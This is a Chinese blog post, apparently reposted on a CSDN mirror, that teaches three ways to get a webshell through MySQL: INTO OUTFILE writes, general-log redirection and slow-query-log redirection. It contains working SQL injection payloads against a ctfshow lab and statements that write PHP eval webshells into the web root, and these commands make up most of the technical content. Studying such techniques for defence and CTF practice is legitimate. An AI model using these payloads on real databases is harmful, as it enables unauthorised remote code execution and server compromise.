首页 > 数据库 >Mysql数据库getshell方法

Mysql数据库getshell方法

时间:2024-04-07 10:01:44浏览次数:32  
标签:getshell set log 数据库 global 查询 Mysql 日志

今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。

目录

1.outfile和dumpfile写shell

条件

 命令参数

靶场

2.全局日志

条件

命令

3.慢查询getshell

前提

原理

命令参数

靶场


1.outfile和dumpfile写shell

条件

1.数据库当前用户为root权限

2.知道当前网站的绝对路径

3.PHP的GPC为 off状态(魔术引号,GET,POST,Cookie);

4.写入的那个路径有写入权限

 命令参数

show global variables like '%secure%';    ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user;         ##查看当前用户是否有写权限,Y代表有
select '<?php phpinfo() ?>' into outfile '/www/work/webshell.php'; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误

靶场

ctfshow web171进行尝试:

可以看到是Y,有写入的权限

99' union select 1,2,group_concat(user,0x3a,file_priv) from mysql.user;%23

可以看到写入成功了:

99' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php;%23

接下来就可以执行命令找到flag了.

后续渗透可以在我以下这篇文章中找到:CSDN

这里不过多演示。

2.全局日志

条件

  • Web 文件夹宽松权限可以写入

  • Windows 系统下

  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

命令


show variables like '%general%'; set global general_log = on;
set global general_log_file = '/www/xx.php'; select '<?php eval($_POST['apple']);?>';
修改为原来路径,再关闭
set global general_log_file='/xxx/xxxx' set global general_log = off;

3.慢查询getshell

前提

1、知道网站真实物理路径

2、root用户身份

3、MySQL 版本 > 5.0

原理

慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。

命令参数

查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

查看慢日志参数:


show global variables like '%slow%'

对慢日志参数进行修改:

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='/var/www/html/1.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间

靶场

查询是否开启:

开启:

可以看到文件大小发生变化,文件写入成功了,这里不细利用,可以利用工具进行webshell连接。

标签:getshell,set,log,数据库,global,查询,Mysql,日志
From: https://blog.csdn.net/weixin_68408599/article/details/137266392

相关文章

  • python计算机毕设【附源码】便利店收银管理系统(django+mysql+论文)
    本系统(程序+源码)带文档lw万字以上  文末可获取本课题的源码和程序系统程序文件列表系统的选题背景和意义选题背景:随着社会的发展和经济的进步,便利店作为一种新型的零售业态在城市中迅速崛起。便利店以其便捷的地理位置、丰富的商品种类和高效的服务赢得了消费者的青睐。......
  • MVCC(解决MySql中的并发事务的隔离性)
     MVCC如何保证事务的隔离性?1.排他锁:如一个事务获取了一个数据行的排他锁,其他事务就不能再获取改行的其他锁。2.MVCC:多版本并发控制。MVCC:1.隐藏字段1.DB_TRX_ID:最近修改事务的id。默认值从0开始,每次被修改自增1。也就是说每有一个事务修改了当前数据,这条数据的该字......
  • JetBrains DataGrip 2024.1 (macOS, Linux, Windows) - 数据库和 SQL 跨平台 IDE
    JetBrainsDataGrip2024.1(macOS,Linux,Windows)-数据库和SQL跨平台IDE请访问原文链接:JetBrainsDataGrip2024.1(macOS,Linux,Windows)-数据库和SQL跨平台IDE,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgJetBrainsDataGrip-多种数据库,一个工......
  • 5 数据库
    数据库题号:51-56题目:6数据模型概念数据模型按照用户的观点对数据和信息建模,用E-R图表示名词实体:人/物/外部系统。属性:码:唯一标识实体的属性集。域:取值范围。联系:实体之间的关系称为联系一对一一对多多对多结构数据模型结构性模式是直接面向数据......
  • CentOS7安装MySQL8.0教程
    环境介绍操作系统:Centos7.6MySQL版本:8.0.27只要是8.0.*版本,那就可以按照本文说明安装一、安装前准备1、卸载MariaDB安装MySQL的话会和MariaDB的文件冲突,所以需要先卸载掉MariaDB。1.1、查看是否安装mariadbrpm-qa|grepmariadb1.2、卸载rpm-e--nodeps文件......
  • 【JavaWeb】Day32.MySQL概述——数据库设计-DDL(一)
    项目开发流程需求文档:    在我们开发一个项目或者项目当中的某个模块之前,会先会拿到产品经理给我们提供的页面原型及需求文档。设计:    拿到产品原型和需求文档之后,我们首先要做的不是编码,而是要先进行项目的设计,其中就包括概要设计、详细设计、接口设计、......
  • 基于keepalived+gtid+双vip半同步主从复制的MySQL高性能集群
    项目名称:基于keepalived+gtid+双vip半同步主从复制的MySQL高性能集群 目录项目名称:基于keepalived+gtid+双vip半同步主从复制的MySQL高性能集群 项目规划图1.配置4台MySQL服务器(1台master,2台slave,1台backup),安装好MySQL软件,安装好半同步相关的插件2.配置好ansible服务器,......
  • MySQL中的索引
    InnoDB存储引擎支持以下几种常见的索引:B+树索引、全文索引、哈希索引,其中比较关键的是B+树索引1.2.1.B+树索引InnoDB中的索引自然也是按照B+树来组织的,前面我们说过B+树的叶子节点用来放数据的,但是放什么数据呢?索引自然是要放的,因为B+树的作用本来就是就是为了快速检索数据而提......
  • 端侧需要向量数据库吗
    最近参与的向量数据的技术分析项目什么的基本告一段落了,简单总结一下,在Edge侧实现向量数据的应用场景以及一些问题挑战。背景问题:手机上需要不需要一个向量数据?如果需要,需要什么样的数据库?支持哪些算法,有哪些约束?是不是需要?对于第一个问题显然是成立的。近年来各大手机......
  • MySQL中的sql优化
    一、SQL优化原则1、减少数据量(表中数据太多可以分表,例如超过500万数据 双11一个小时一张订单表)2、减少数据访问量(将全表扫描可以调整为基于索引去查询)3、减少数据计算操作(将数据库中的计算拿到程序内存中计算)二、SQL优化的基本逻辑1、良好的SQL编码习惯(熟悉SQL编码规范......